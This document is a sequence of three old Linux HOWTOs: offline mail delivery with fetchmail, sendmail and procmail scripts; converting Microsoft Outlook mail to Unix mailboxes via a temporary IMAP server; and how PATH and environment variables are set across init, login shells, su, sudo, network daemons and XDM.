If you don't know how crontab works :) better read the manual :) ... You need to create a "checkmail" file - what will see if the link is up, as well the cronfile itself ... - i am using a ppp link :) so - this is an example how to look when the ppp link is up - and to poll every 10 minutes using cron. Looks sloppy - but isn't !.

checkformail

the .checkformail file will be called (needs to be executable as well) - and will look if the ppp link is up. If it is up - then it will fetch for mail. Crontab will use this file when you are using the below cronentry ...

(*** < file > *** code ***) .checkformail
#!/bin/sh
#

        cd /home/mailservice

        if [ -f /var/run/ppp0.pid ]; then
        /usr/local/bin/fetchmail -s > /dev/null 2>&1
fi

crontab

This cronentry file needs to been loaded into crontab, and will call the .checkformail - every 10 minutes. It won't write any mail or give any info to the console - since i'm redirecting everything to null.

(*** < file > *** text ***) cronentry
0,10,20,30,40,50 * * * *  /home/mailservice/.checkformail 1> /dev/null 2> /dev/null

4.5 "At the admins site".

Well, this should be done when using the "A method" ... at the admin's site, so the email goes all from a complete domain, to one username. It is pretty simple, and once you've done it - it works like hell. this is NOT neccesary if your system administrator (the uplink) got another method, and is NOT neccesary at YOUR side !!!!

When using a newer version of sendmail, the "old sendmail" trick probably won't work, so please refer to the "new sendmail" topics to let your mailrouting work.

(old sendmail) add some lines to sendmail.cf

add the following lines to your /etc/sendmail.cf file, so the domains file will be read. please be noted that the "ruleset 98" is added as underhere, since - once you got errors :) it's a hell to find 'm out ! (and i can know it :) DuH).

(*** < file > *** add ***) /etc/sendmail.cf
# Database of handled domains

Kmaildomains btree /etc/maildomains.db

# Add these lines *IN* Ruleset 98 ! (under Ruleset 98).

R$+ < @ $+  . >              $: $1 < @ $2 > .
R$+ < @ $+ > $*              $: $(maildomains $1@$2 $: $1 < @ $2 > $3 $)
R$+ < @ $+ > $*              $: $(maildomains $2 $: $1 < # $2 > $3 $)
R$+ < @ $* > .               $: $1 < @ $2 . >

(new sendmail) Adding some lines to sendmail.cf

With the newer sendmail releases (tested with sendmail v8.8.7, 8.8.8). Ignore method A, and add the next lines ...

(*** < file > *** add ***) /etc/sendmail.cf
# Database of handled domains

Fw/etc/sendmail.cw
Kvirtuser btree /etc/maildomains.db

*OR*

Fw/yourhomedir/sendmail.cw
Kvirtuser btree /yourhomedir/maildomains.db

(new sendmail)editing the /etc/sendmail.cw (or /yourdir/sendmail.cw) file

If you are using another "location" for the sendmail.cw file, then please replace the "/etc/sendmail.cw" to "/yourhomedirectory/sendmail.cw". The pro points of putting this sendmail.cw file into your homedirectory is that you don't need root to change the domains to receive on. tough - this can give security risks if not used properly !

This file can already exist, or needs to be created, if it already exists be sure you don't overwrite the older data - or i need to refer you to my fine disclaimer :)

First create a /etc/sendmail.cw file, what will be used to "send" a domain to a specific user ... here is an example ... (as you already knew, the name "mailservice" can be anything you want - it can even be your loginname (like mine is freaker).

(*** < file > *** text ***) /etc/sendmail.cw
mydomain.dom            mailservice

creating a /etc/maildomains file

First create a /etc/maildomains file, what will be used to "send" a domain to a specific user ... here is an example ... (as you already knew, the name "mailservice" can be anything you want - it can even be your loginname (like mine is freaker). (you could have this /etc/maildomains in /yourhomedir/maildomains as mentioned before, just change the paths :)

With the OLDER sendmail versions:

(*** < file > *** text ***) /etc/maildomains
mydomain.dom            mailservice

With the NEWER sendmail versions:

(*** < file > *** text ***) /etc/maildomains
@mydomain.dom           mailservice

let it work !

With the old & new sendmail versionsyou need to generate the btree (database) files, you'll need to do the following:

cd /etc    (or /yourhomedir)
makemap btree maildomains < maildomains

after that, kill the sendmail daemon, and restart it. it should now WORK! good luck :)


Linux off-line mailing method (offline mailaddr with 1 account): Automation

 Next Previous Contents

5. Automation

Well, now, everything above works ... (if it doesn't work - don't even think about automation before it WILL work ... - now - we need some script so it isn't a pain in the ass for the "mailadministrator" or the root user to add users to the procmailrc file ... The below example will be for "more experienced users" - since some things NEED to be changed as well ... - it is an example with the "B method - Subject lines". It can be easily adapted to the "A method". Since the "B method" will be more used (cheaper) than the "A" method - i decided to use the "B method" ... Am i sounding repetitive or not ? .. well - i meant to write it in this way :)) to bug you :)))..

5.1 The "skeleton".

Since the footer needs to be as footer (everything below won't be processed since we are bouncing there); there needs to be a header and a footer file.

the ".procmailrc-header" file

This file will now be the "header & user" file .. since here will users been added and removed - it will be a important file ... - best take a backup from it each time you add a user ... - there COULD be something wrong sometime .. A system can fail ...

(*** < file > *** text ***) .procmailrc-header
:0 c
        passtrough

:0
* ^To:.*freaker@ibm.net
! freaker

:0
* ^Subject:.root
! root

:0
* ^Subject:.barbara
! barbara

:0
* ^Subject:.paul
! paul@his.personal.emailaddress

:0 c
* ^Subject:.john
! john@his.personal.emailaddress

:0
* ^Subject:.john
! john

:0
* ^From:.*newsletter@ibm.net
! freaker

:0
* ^FROM_DAEMON
throwaway

the .procmailrc-footer file ..

As mentioned above, this file needs to be as footer - since all data BELOW it won't be used to deliver - this footer contains the "bounce" code to bounce the users not found *ABOVE* this footer !. it is the ABSOLUTE end of the file !

(*** < file > *** text ***) .procmailrc-footer

:0
  |(/usr/bin/formail -r -k \
     -A"X-loop: mailservice@mydomain.dom "| \
       /usr/bin/gawk '{print }\
       /^/ && !HEADER \
         { system("/bin/cat nosuchuser"); \
         print"--" ;\
         HEADER=1 }' ) |\
         /usr/bin/sendmail -t

exit

5.2 addmail script

This script will add a user to the header file, attach the header & footer to eachother - so it will be a complete .procmailrc file. the "#" (comments) are not really needed - and are for your info :).

(*** < file > *** code ***) addmail (* chmod 500 *)
#/bin/sh
#
# Copyright (c)1997 by Gunther Voet. rev 1.0.1
# please leave the Copyright in it when it is distributed with any
# system using this thingy ...

echo ""
echo "Addmail v1.0.1 by Gunther Voet, Freaker / TuC'97-98 (21/04/97)"
echo ""

if [ $1 ]; then

        if [ $2 ]; then

# make a backup file !

        cp /home/mailserv/.procmailrc-header /home/mailserv/.procmailrc-backup

# APPEND (>>) the information to the header file ...

        echo ":0" >> /home/mailserv/.procmailrc-header
        echo "* ^Subject:.$1" >> /home/mailserv/.procmailrc-header
        echo "! $2" >> /home/mailserv/.procmailrc-header
        echo "" >> /home/mailserv/.procmailrc-header

# copy the header file to .procmailrc - and append the footer file to it !

        cat /home/mailserv/.procmailrc-header > /home/mailserv/.procmailrc
        cat /home/mailserv/.procmailrc-footer >> /home/mailserv/.procmailrc

# make sure it is owned by "mailserv" and the read/write priveleges are ONLY
# for the user "mailserv" itself ...

        chown mailserv /home/mailserv/.procmailrc
        chgrp users /home/mailserv/.procmailrc
        chmod 600 /home/mailserv/.procmailrc
else
        echo "No DESTINATION mail address has been given ..."
fi

else
        echo "usage:"
        echo ""
        echo "syntax:  addmail from_user to_user(domain)"
        echo ""
        echo "example: addmail freaker freaker@myemail.dom"
        echo ""
fi

Now, this script will append the information of the user, as well the email address to the header file, it will copy it to the .procmailrc file, and will add the footer to it, so you got a complete .procmailrc to process the mail. If you want to delete a user- just edit the .procmailrc-header file, and at the next user added it will be deleted at the .procmailrc. To do a instant delete, just delete the user from both the files .procmailrc & .procmailrc- header.

I guess you are smart enough to write a script that'll automatically add your users when using both methods - when doing a "adduser" at your box.


Linux off-line mailing method (offline mailaddr with 1 account): Help! (sigh)

 Next Previous Contents

6. Help! (sigh)

Well, you need help - isn't :) ... hmm .. i could be sarcastic and just say "you could better do it again, 'coz it looks a messy enuf" - or .. i could help ... - I wrote down some common problems - IF you got any problem NOT listed in this HOWTO (section) - then mail me - and i'll put it in this howto even with your name/email addr in it :). **BEFORE** mailing to me - please look if you didn't forgot anything - and IF you want some help from me - send me the MOST DETAILED information - included the scripts & things you needed. i DON'T need any binaries - since i won't run them.

6.1 The automation script just doesn't work:

  • is it executable ?
  • is your (default shell) located at /bin/sh ?

6.2 What do you mean by "anonymous mailserver"?

  • Well, you could make accounts like "anon0001@yourdom.dom" - and forward it to another email address ... nobody needs to read the .procmailrc file, so YOU ONLY know the address !.

6.3 My cat died

  • Well, next time don't print this HOWTO out on 200 gram papers, since it are 10 pages it would be 2KG for the cat - it is JUST TOO HEAVY !

6.4 My dog died

  • hmm - can't do anything about that one - why askin' me ? ... Just bury it ....

6.5 Linux?

  • A free-unix - posix compatible - made by Linus Torvalds ... Why are you reading this if you even don't know what Linux is ?

6.6 Can you help me with finding a mail account?

  • No! - this is a howto for YOUR side, i don't care about the side of your isp, nor how to get your email address.

6.7 Why is the "maybe later i'll make some addition ..." removed ?

  • Read point 5.5 very carefully :) and you'll see why .. it's 'coz i needed to add it on general request :)

6.8 How do i get a "domain" ?

  • Ask your local ISP/provider - he will help you with it. It could take days/ even weeks when asking to the Internic - your provider can help.

6.9 Why are you so f*cking lame using this?

  • coz i don't want to spend money - and - 'coz i feel like being f*cking lame USING it - i *AM* using it - so why bother?

6.10 Nosuchuserfile?

  • You can put in it what you want - as long you put some "needed" info so the original writer knows what happened with his "never delivered" mail.

6.11 Can my users write/send mail too?

  • This has nothing to do with the system i explained to you, read the sendmail manual ... - this is to RECEIVE mail - to be "always available at an email address".

6.12 Does every user need a shell account at my server?

  • Nope .. - but - it will be really hard for users not having internet access :) ... You could have a masq'd network - and use a computer connected to it - so the users can get their mail that way, or you can generate a link between a bulletin board and his mail, you could even forward it to a fidonet gate :) ... reasons enough not to give a shell!.

6.13 skeletion?

  • i know it is a typo - but - i like this word better.

6.14 Addmail?

  • No questions - for automation - you better be sure about what you are going to do ... since - it COULD be a trojan ya know :))) (it isn't but what means you need to know what scripting is before asking questions) It IS easy enough to interprete - that's even why i put the comments with it. *IF* you are going to distribute this script - leave my Copyright in it please ! thanks :).

6.15 Why are you so cruel?

  • I am not cruel :) i am nice :) i am the nicest guy of the world, of the universe ! NOW SCRAM! (i just want to be complete in my HOWTO, and not TOO much "drifting away" from my original point in the doc - so :) that's all).

6.16 Didn't you get a complaint of excessive language ?

  • Not yet, but, could be i'm filtering everything containing 'excessive' and language :) i don't know :))

6.17 Why is this howto different than most others?

  • coz sometimes reading plain howto's CAN be boring ... i wanted to add something next to it ...

6.18 locally my domain works, but remote it seems not to receive

  • Check out your "sendmail.cw" file, since the domains NEED to be added in it !

6.19 My dog died

  • the rulesets don't work, i can't receive any mail, or sendmail dies Refer to the new section "new sendmail" - and disregard the old sendmail tricks. The newer sendmail should be easier to use with virtual domains.


Linux off-line mailing method (offline mailaddr with 1 account): The End

 Next Previous Contents

7. The End

This sounds like the end ... If you find any unwanted bugs (or features :)), then leave some feedback ... any comments & suggestions -> mail them :). if you are still bored after reading this, please go to: http://tuc.ml.org/ hehehe.

My thanks go out to:

Hannes van de Vel: for supporting me (hum) Tetsu Isaji: the japanese offline-mailing & notifying me about errors :) Greg Hankins: for notifying me about some errors in the sgml version. Linus torvalds: of'course ... without his help this howto wouldn't be here!


MS Outlook to Unix Mailbox Conversion mini HOWTO

Greg Lindahl, lindahl@pbm.com

v1.2.2, 2002-01-03

This MiniHowto covers conversion of old email in Microsoft Outlook (not Outlook Express!) to typical Unix file formats.

1. Introduction

  • 1.1 Copyright
  • 1.2 Disclaimer
  • 1.3 News
  • 1.4 Other ways of doing this

2. Converting using Mozilla Mail

3. Converting using IMAP

  • 3.1 Preparation
  • 3.2 Install an IMAP server (temporarily!) on your Linux box
  • 3.3 Connect your Outlook client to the server
  • 3.4 Copy over all your email
  • 3.5 Deinstall IMAP from your Linux box


MS Outlook to Unix Mailbox Conversion mini HOWTO: Introduction

 Next Previous Contents

1. Introduction

While several programs exist to convert some formats such as Microsoft Outlook Express to Unix formats, Outlook users have a bit more of a challenge. One way to convert uses Mozilla Mail under Windows; another involves a more complicated method. Both are explained in this miniHOWTO.

The database format that Outlook uses for .PST files, called Jet, is documented at:

http://msdn.microsoft.com/library/techart/olexcoutlk.htm

1.1 Copyright

Copyright (c) 2001-2002 by Greg Lindahl

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license may be found at:

http://www.gnu.org/copyleft/fdl.html

I request that corrections and/or comments be forwarded to the document maintainer. If you're considering making a derived work other than a translation, I request that you discuss your plans with the current maintainer.

1.2 Disclaimer

Use the information in this document at your own risk. I disavow any potential liability for the contents of this document. Use of the concepts, examples, and/or other content of this document is entirely at your own risk.

All copyrights are owned by their owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installations, and backup your system at regular intervals.

Do not place your cat in a running microwave oven.

1.3 News

1.01: Fixed minor typo in inetd/xinetd startup instructions.

1.1: Added information about Kmailcvt, Mozilla, and how to get Outlook to talk to IMAP servers if it's in Exchange mode.

1.2: Added details about using Mozilla to do this same task

1.2.1: Fixed formatting typo.

1.2.2: Relicensed under the GFDL, more minor typo fixes.

1.4 Other ways of doing this

A list of conversion utilities, many commercial, may be found at:

http://www.emailman.com/conversion/index.html

I've had a claim that the program Kmailcvt now converts Outlook mailboxes. However, I'm not 100% sure that this claim is true, since Kmailcvt definitely converts Outlook Express mailboxes, which are completely different from Outlook mailboxes. So, if you figure this out, please let me know.


MS Outlook to Unix Mailbox Conversion mini HOWTO: Converting using Mozilla Mail

 Next Previous Contents

2. Converting using Mozilla Mail

I've also heard that Mozilla Mail under Windows can convert Outlook mailboxes. I found the documentation on the Ximian Evolution website. I haven't tried this since I don't have a Windows machine anymore. But, here's what they say to do:

Run Mozilla Mail

Go to "File > Import" and select that you wish to import mail from Outlook. When that's done, you're almost there.

I believe that Mozilla stores all its mailboxes as Unix mbox format files, even under Windows. So, all you have to do is transfer those files to your Linux box. You can find them in:

C:/windows/Application Data/Mozilla/Profiles/default/XXX/Mail/imported.mail/, where XXX will be some collection of digits. If there are multiple users on your Windows machine, "default" will instead be your username.

As I mentioned earlier, I've never tried this method, so I don't know how well it works. In particular, the issues raised in section 3.4 probably also apply to this method of conversion.

By the way, the reason that Mozilla can only read Outlook mailboxes under Windows is because it calls a Microsoft DLL to do it.


MS Outlook to Unix Mailbox Conversion mini HOWTO: Converting using IMAP

 Next Previous Contents

3. Converting using IMAP

3.1 Preparation

First, be sure you want to do things this way. In particular, section 2 explains how to use Netscape Mail under Windows to do the coversion. That's easier than doing it this way.

If you decide to do it this way, you need to make sure that your copy of Outlook can talk to IMAP servers. When I first wrote this HOWTO, I assumed that Outlook was Outlook was Outlook. Nope. If you are using Outlook in Corporate/Workgroups mode (which talks to Exchange) instead of Internet Mode (which talks to POP/IMAP servers), you'll have to change modes.

To test to see if you're OK, look at the Outlook "Tools" menu, and see if there is an "Accounts" item. If there is, you're OK, and you can go on to section 3.2. If there isn't, go find your towel, and keep reading.

Changing modes is not trivial, but a helpful reader (Matt Huyck) sent in the following instructions, which look dangerous, and which I have not tested:

Select "Options..." from the "Tools" menu, and then go to the "Mail Services" tab in the resulting Options dialog box. At the bottom of that tab there is a button labeled "Reconfigure Mail Support..." Hold your breath and then click it. A new window comes up with "Outlook 2000 Startup" in the title bar and an "E-mail Service Options" heading. There are two relevant radio buttons: "Internet Only" and "Corporate or Workgroup". Change over to "Internet Only" and click "Next >". You are then prompted with a very long message box which you should read carefully because you're about to make a significant (but reversible) change to the Exchange client configuration. If you haven't passed out already, you can stop holding your breath now. Although it doesn't explicitly say so, you will want to be sure you have a copy of the Microsoft Office install CD before you click "Yes". Click "Yes" and let Outlook do its thing for a few seconds until it has quit completely. Open up Outlook again. This is where you may be prompted for the install CD. After the re-configuration is complete you're ready to proceed with step 3.2 of the HOWTO.

To get back to your original Outlook configuration, follow the same directions, but you'll obviously be clicking the *other* radio button.

One other thing is different if you've been using Exchange. As you point out at the end of section 3.4, "the original 'From ' line" is not preserved. For Exchange users, however, the comment "Fortunately you don't actually need that information" doesn't quite apply. The "From" header that's missing is the only one that contains the identity of the sender in messages that were sent on an internal Exchange server, i.e. messages that didn't pass through an Internet gateway anywhere. I have preserved my "From" headers by saving copies of my mail folders as text files through the "Import and Export..." command from the "File" menu. I plan to hack out some twisted Perl/Grep code that will re-insert those "From" headers into my Linux mbox files. If I get that to work I'll let you know.

3.2 Install an IMAP server (temporarily!) on your Linux box

Installing things varies from Linux distribution to distribution, so I will use RedHat 7.0 as an example. First you need to install the correct package, which generally is named "imap".

 cd /home/redhat-7.0-cd/RedHat/RPMS
 rpm -i imap*

Actually, since I had a "workstation" install, I also had to install the xinetd package; rpm gave me an error which told me to do this. And, of course, it was on the second CD of RedHat 7.0. Debian users using "apt-get" don't have to worry about such issues.

Next, we need to enable the imap server. This is usually controlled by a line in the file /etc/inetd.conf:

 #imap    stream  tcp     nowait  root    /usr/sbin/tcpd        /usr/sbin/imapd

The above line is commented out; remove the leading # sign. On RedHat 7.0 systems and later with xinetd, instead edit /etc/xinetd.d/imap and change "disable=yes" to "disable=no".

Then restart inetd or xinetd by doing:

 /etc/rc.d/init.d/inetd restart

or

 /etc/rc.d/init.d/xinetd restart

If all else fails, reboot.

You don't actually want to leave the IMAP server enabled for that long. This server runs as root and has had security bugs in the past. For this reason, you shouldn't leave it enabled unless you wish to use it permanently. We will disable this server in section 3.5.

In order to connect Outlook to this IMAP server, you will need to know the name or IP address of the Linux box.

3.3 Connect your Outlook client to the server

In order to copy over all our email to the server, we need to tell your Outlook client about this new server. Select "Accounts..." from the "Tools" menu, and then "Add" a new account "Mail...". The important items are that the server uses IMAP to download email, that the incoming mail server is the name or IP address of your Linux box from section 3.2, and the username and password should be your username and password on the Linux box. (As usual, it's a bad idea to use the root account on Linux for this purpose.)

Once you've hit "Finish", set this new account to be the default by highlighting it and clicking on "Set as Default". Outlook should connect to your IMAP server, and the name of your IMAP server should appear at the bottom of your folder list. Click on it; you should see an Inbox folder. (Note that if /var/mail/yourusername doesn't exist on your Linux box, you won't be able to drag-and-drop any messages into your INBOX... and the error message will be confusing. However, that's not what we're going to do.)

3.4 Copy over all your email

At this point you can drag and drop entire folders of email from Outlook onto the IMAP server name. This will copy the email, including all attachments, to the Linux box. Unfortunately it also immediately deletes it from Outlook. In order to copy items without deleting them, right-click on the folder name and select the "Copy" option. For the destination, pick your Linux server at the bottom of the list.

However, life isn't quite that simple. Outlook supports folders containing folders which also contain messages. The Linux IMAP server does not support that; a folder is either a regular file containing messages, or a directory containing subdirectories and files. So if you have folders in Outlook with both messages and subfolders, you can't copy the entire tree over to the Linux IMAP server. Another incompatibility of the Linux IMAP server is that you have to tell it in advance if a new folder will contain subfolders or messages. You do this by appending a slash (/) to the folder name when you create it. This slash will disappear when the folder is created.

So, in order to copy a tree of folders to the Linux IMAP server, first you need to create a replica of the structure of your existing folders on the Linux IMAP server. While you're doing this, note which of the existing folders contain both subfolders and messages. You will need to move these messages elsewhere. Once you have the overall tree created, then you can copy or move groups of folders to the Linux IMAP server.

One final incompatibility to note is that the Linux IMAP server doesn't allow folders with slashes (/) in their name. You'll need to rename such folders before copying or moving them.

On the Linux box, folders appear as files and directories in your home directory. The format of these files is the usual Unix mail format, which most Unix/Linux mail tools either use directly or can convert to/from. Files with attachments will have MIME attachments; there is also one extra message per folder which is a (useless) header.

(One piece of data which doesn't get preserved is the original "From " line, which contains the envelope address of the email. Fortunately you don't actually need that information.)

3.5 Deinstall IMAP from your Linux box

Once you've transferred all of your email, you will want to deinstall the IMAP server from your Linux box, for the security reasons mentioned earlier. This involves the same 2 steps you took to install the server:

  1. Remove the RPMs:
      rpm -e imap
  2. Remove the line in /etc/inetd.conf or /etc/xinetd.d/imap
  3. Restart inetd or xinetd, or reboot.

Voila! You have taken another step towards a Microsoft-free lifestyle.


PATH HOWTO

Esa Turtiainen etu@dna.fi

v0.4, 15 November 1997

1. Introduction

2. Copyright

3. General

4. Init

5. Login

6. Shells

  • 6.1 bash
  • 6.2 tcsh

7. Changing user ID

  • 7.1 su
  • 7.2 sudo

8. Network servers

  • 8.1 inetd
  • 8.2 rsh
  • 8.3 rlogin
  • 8.4 telnet
  • 8.5 ssh

9. XFree86

  • 9.1 XDM
  • 9.2 xterm -ls
  • 9.3 Window manager menus and buttons

10. Delayed commands cron and at

  • 10.1 cron
  • 10.2 at

11. Some examples

  • 11.1 magicfilter
  • 11.2 Printing from X applications

12. Security concerns

13. How to debug problems?

14. Some strategies to get the same path for all the users

15. Acknowledgements


PATH HOWTO: Introduction

 Next Previous Contents

1. Introduction

This document describes common tricks and problems with Unix / Linux environment variables, especially with PATH variable. PATH is a list of directories where commands are looked for. The details apply for Debian Linux 1.3 distribution.

Note! This document is in beta release status. Please send comments and corrections.


PATH HOWTO: Copyright

 Next Previous Contents

2. Copyright

This documentation is free documentation; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this documentation; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.


PATH HOWTO: General

 Next Previous Contents

3. General

All the Unix processes contain an "environment". This is a list of variables that contain name and value, both just strings that can contain most characters. All Unix processes have a parent process - the process that created this process as child. Child processes inherit environment from parent process. They can make some modifications to the environment before passing it in turn to their child processes.

One important environment variable is PATH, a list of directories separated by colons (':'). These directories are searched through to find commands. If you try to invoke command 'foo', all the directories in PATH (in that order) are searched for an executable file 'foo' (one with x-bit on). If a file is found, it is executed.

In this howto, I use term 'command' to refer executable program that is meant to be called with short names, using the path mechanism.

In Linux, even the low level operating system calls to start processes (the exec family of calls) searches through directories in the PATH variable: you can use the path mechanism anywhere where you try to execute a command. If exec operating system call gets a file name that does not contain '/', it evaluates the PATH environment variable. Even if there is no variable PATH in the environment, at least directories /bin and /usr/bin are looked for suitable commands.

In sh you use export command to set environment, in csh you use setenv command. For example:

sh:

PATH=/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games:.
csh:
setenv PATH /usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games:.

C-programs can use setenv() library call to change environment. Perl has environment in an associative array %ENV, you can set PATH as $ENV{PATH}="/bin".

env command is the basic way of asking the current environment variables. It can be used to modify it as well.

More information of the basic environment mechanism can be found from manual pages 'environ', 'execl', 'setenv', info file 'env' and documentation of shells.

When Linux boots up, the first normal process that starts is the init process. It is a special process because it does not have parent. However, it is the ancestor of all the other processes. Init environment will remain as environment of all the processes if they do not touch it explicitly. Most processes do touch.

Init starts a group of processes. File /etc/inittab tells what processes the system starts. These processes work in the environment that is directly inherited from init - typically they are processes like 'getty', the program that writes 'login:' to console. If you start PPP connections here, you must remember that you are working in the init environment. The system initialization is often a script that is started here. In Debian 1.3 initialization script /etc/init.d/rc and it calls other initialization scripts in turn.

The system contains many running servers (daemons) that may or may not use the default environment. Most servers are started from the initialization scripts and thus they have the init environment.

When user logs in to the system, the environment is affected by the settings that are compiled into the programs, system wide initialization scripts and user initialization scripts. This is pretty complicated and the current situation is not completely satisfactory. It is totally different if user logs in from text console, XDM or from network.


PATH HOWTO: Init

 Next Previous Contents

4. Init

Init is a parent process for all the other processes of the system. Other processes inherit environment of the init process and the path is the init path in the rare case that no other path is set.

The 'init path' is fixed in the source of the init program and it is:

/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin

Note that init path does not contain /usr/local/bin.

All the programs that are started from /etc/inittab work in init environment, especially system initialization scripts in /etc/init.d (Debian 1.3).

Everything that is started from system initialization scripts has init environment as default environment. For example, syslogd, kerneld, pppd (when started from startup), gpm and most importantly lpd and inetd have init environment and they do not change it.

A group of programs are started from startup scripts but the PATH environment variable is explicitly set in the startup script. Examples are: atd, sendmail, apache and squid.

There are other programs that are started from boot scripts but they change the path completely. One such example is cron.


PATH HOWTO: Login

 Next Previous Contents

5. Login

In text console there is a getty program waiting for user login. It writes 'login:' and other messages. It is working in init environment. When getty gets user to log in to the system, it invokes the 'login' program. This program sets the user environment and invokes the shell.

Login program sets path as defined in /usr/include/paths.h. This 'login path' is different for root users and other users.

for common users (_PATH_DEFPATH):

/usr/local/bin:/usr/bin:/bin:.
for root (_PATH_DEFPATH_ROOT):
/sbin:/bin:/usr/sbin:/usr/bin

Common user's path does not contain any sbin directories. However, it contains the current directory, '.', which is considered dangerous for the root user. Not even /usr/local/bin is available for the root user.

Login path is often overwritten by shell initialization. However, it is possible to use other programs in /etc/passwd as user shells. For example, I have used the following line to start PPP when I log in using special user name. In this case, the pppd has exactly login path.

etu-ppp:viYabVlxPwzDl:1000:1000:Esa Turtiainen, PPP:/:/usr/sbin/pppd


PATH HOWTO: Shells

 Next Previous Contents

6. Shells

Often user processes are children processes of the shell mentioned in /etc/passwd for this user. Initialization files of shells often modify path.

In login, the name of the shell is preceded with '-', for example bash is called as '-bash'. This signals to the shell that it is a 'login' shell. In this case, the shell executes the 'login' initialization files. Otherwise some lighter initialization is performed. Additionally, the shell checks if it is interactive - are the commands coming from file or interactive tty. This modifies the shell initialization so that a non-interactive non-login shell is initialized very lightly - bash do not execute any initialization file in this case!

6.1 bash

As a normal login shell, bash 'sources' system-wide file /etc/profile, where the system environment and path can be set for bash users. However, it is not run when the system interprets the shell as non-interactive. The most important case is in rsh, where remote command is executed in the neighboring machine. The /etc/profile is not run and the path is inherited from rsh daemon.

bash receives command line arguments -login and -i that can be used to set the shell as a login shell or interactive shell respectively.

The user can overwrite values set in /etc/profile by creating a file ~/.bash_profile, ~/.bash_login or ~/.profile. Note that just the first one of these is executed thus differing of the logic of csh initialization. ~/.bash_login is not executed specially for login shells and if .bash_profile exists, it is not executed at all!

If bash is used with name sh instead of the name bash, it emulates original Bourne shell initialization: it sources just files /etc/profile and ~/.profile and just for login shells.

6.2 tcsh

As a login shell tcsh executes the following files in this order:

  • /etc/csh.cshrc
  • /etc/csh.login
  • ~/.tcshrc
  • ~/.cshrc (if .tcshrc is not found)
  • ~/.history
  • ~/.login
  • ~/.cshdirs

tcsh can be compiled to execute login scripts before cshrc scripts. Beware!

Non-interactive shells execute just the *cshrc scripts. *login scripts can be used to set the path just once in the login.


PATH HOWTO: Changing user ID

 Next Previous Contents

7. Changing user ID

7.1 su

Command su sets a new user id to use. If no user id is given, root is used.

Normally su invokes a subshell with a different user id. With argument '-' (more recent synonyms -l or --login) su invokes shell like login shell. However, it does not use login program to do this but uses a yet another built-in path for login 'simulation' (term used in the source code). It is:

for normal users

/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:.
for root user
/sbin:/bin:/usr/sbin:/usr/bin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin

su makes many quite subtle environment changes as well.

7.2 sudo

There is a group of commands that make use of super user commands safer. They allow better logging, user-based restrictions and usage of individual passwords. Most widely used is sudo.

$ sudo env

executes command env as super user (if it is configured to allow it).

sudo command has again a different approach to path handling. It modifies the search path so that the current directory is always the last one. However, it does not modify PATH environment variable. 'sudo env' and 'env' give the same value for PATH variable. Sudo adds just couple of environment variables like SUDO_USER.


PATH HOWTO: Network servers

 Next Previous Contents

8. Network servers

Most network servers should not invoke subprocesses of any kind. For security reasons, their path should be minimal.

An important exception is all the services that allow logging in to the system from network. This section describes what is the environment in these cases. If the command is executed in the remote machine with rsh it gets different path than if it is executed with ssh. Similarly, logging in with rlogin, Telnet or ssh is different.

8.1 inetd

Most network servers do not have process of their own waiting for requests all the time. This work is delegated to an Internet super server called inetd. Inetd listens for all the defined network ports and starts the appropriate server when there is an incoming request. This behaviour is defined in /etc/inetd.conf.

inetd is started from system startup scripts. It inherits just path of init process. It does not modify it and all the servers started from inetd has init path. An example of such a server is imapd, the server of IMAP post office protocol.

Other examples of inetd processes are telnetd, rlogind, talkd, ftp, popd, many http servers and so on.

Often usage of inetd is still complicated by using a separate tcpd program to start the real server. It is a program that makes additional security checks before starting the real application. It does not affect the path (not verified).

8.2 rsh

rsh daemon sets the path from _PATH_DEFPATH (/usr/include/paths.h) that is the same path that login program uses for normal users. Root will get the same path than the normal user.

Actually, rshd executes the command it gets with the command line:

shell -c command-line

and shell is not a login shell. It is desirable that all the shells mentioned in /etc/passwd support -c option to give on the command line.

8.3 rlogin

Rlogin is invokes login to make the real login procedure. If you login with rlogin, you get the same path than in login. Most other ways to log in to a Linux computer do not use login. Note the difference with rsh.

The login command actually used is

login -p -h host-name user-name

-p preserves the environment except the variables HOME, PATH, SHELL, TERM, MAIL and LOGNAME. -h tells the remote host name for logging.

8.4 telnet

Telnet is similar than rlogin. It uses the login program and the command line to invoke it in a similar way.

8.5 ssh

ssh has a path setting of it's own. It has a fixed path where it adds the directory where ssh is. Often this means that /usr/bin is in the path twice:

/usr/local/bin:/usr/bin:/bin:.:/usr/bin

The path does not contain /usr/X11/bin and shell invoked by ssh command is not a login shell. Thus

ssh remotehost xterm

never works and anything in /etc/profile or /etc/csh.cshrc can change this. You must always use explicit path /usr/bin/X11/xterm.

ssh searches environment variables of form VAR=VALUE from file /etc/environment. Unfortunately this causes some problems with XFree86.


PATH HOWTO: XFree86

 Next Previous Contents

9. XFree86

9.1 XDM

XDM is the most common way to log in to a graphical terminal. It a bit looks like login but it is internally totally different.

In directory /etc/X11/xdm there are configuration files that are executed on different login phases. Xstartup (and Xstartup_0 specially for screen 0) contains commands to be run after the user has logged in (commands are run as user root).

The path that is set for users is in /etc/X11/xdm/xdm-config. There are lines:

DisplayManager*userPath: /usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games
DisplayManager*systemPath: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/bin/X11

That will be a default path for normal and root users respectively. It is very important that /usr/bin/X11 is available for X users. If X user logs in to another machine to start and X client application, he should get /usr/bin/X11 to his path even he don't seem to come directly from X terminal.

